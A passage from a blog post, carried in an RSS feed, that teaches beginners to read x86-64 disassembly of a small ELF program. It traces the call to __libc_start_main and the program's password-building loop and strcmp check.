2420<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
2421<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
2422</code></pre></div>
2423
2424<p>Looking back at our disassembly</p>
2425
2426<pre><code>0x6a0: xor ebp, ebp
24270x6a2: mov r9, rdx
24280x6a5: pop rsi
24290x6a6: mov rdx, rsp
24300x6a9: and rsp, 0xfffffffffffffff0
24310x6ad: push rax
24320x6ae: push rsp
24330x6af: lea r8, [rip + 0x23a]
24340x6b6: lea rcx, [rip + 0x1c3]
2435**0x6bd: lea rdi, [rip + 0xe6]**
24360x6c4: call qword ptr [rip + 0x200916]
24370x6ca: hlt
2438... snip ...
2439</code></pre>
2440
2441<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
2442
2443<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
2444
2445<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
2446
2447<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
2448
2449<pre><code>printf 0x650
2450fgets 0x660
2451strcmp 0x670
2452malloc 0x680
2453</code></pre>
2454
2455<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
2456
2457<pre><code>0x7b2: mov edi, 0xa ; 10
24580x7b7: call 0x680 ; malloc
2459</code></pre>
2460
2461<p>The loop to populate the <code>*pw</code> string</p>
2462
2463<pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14]
24640x7d3: cdqe
24650x7d5: lea rdx, [rax - 1]
24660x7d9: mov rax, qword ptr [rbp - 0x10]
24670x7dd: add rax, rdx
24680x7e0: movzx eax, byte ptr [rax]
24690x7e3: lea ecx, [rax + 1]
24700x7e6: mov eax, dword ptr [rbp - 0x14]
24710x7e9: movsxd rdx, eax
24720x7ec: mov rax, qword ptr [rbp - 0x10]
24730x7f0: add rax, rdx
24740x7f3: mov edx, ecx
24750x7f5: mov byte ptr [rax], dl
24760x7f7: add dword ptr [rbp - 0x14], 1
24770x7fb: cmp dword ptr [rbp - 0x14], 8
24780x7ff: jle 0x7d0
2479</code></pre>
2480
2481<p>And this looks like our <code>strcmp()</code></p>
2482
2483<pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in
24840x847: mov rax, qword ptr [rbp - 8] ; *pw
24850x84b: mov rsi, rdx
24860x84e: mov rdi, rax
24870x851: call 0x670 ; strcmp
24880x856: test eax, eax ; is = 0?
24890x858: jne 0x868 ; no? jump to 0x868
24900x85a: lea rdi, [rip + 0xae] ; "haha yes!"
24910x861: call 0x640 ; puts
24920x866: jmp 0x874
24930x868: lea rdi, [rip + 0xaa] ; "nah dude"
24940x86f: call 0x640 ; puts
2495</code></pre>
2496
2497<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
2498
2499<p><strong>Update</strong>: It’s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
2500
2501<h2 id="conclusion">Conclusion</h2>
2502
2503<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
2504
2505<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
2506
2507<p>Ciao for now, and I’ll see ya in #2 of this series—PE binaries. Whenever that is.</p>
2508]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
2509</rss>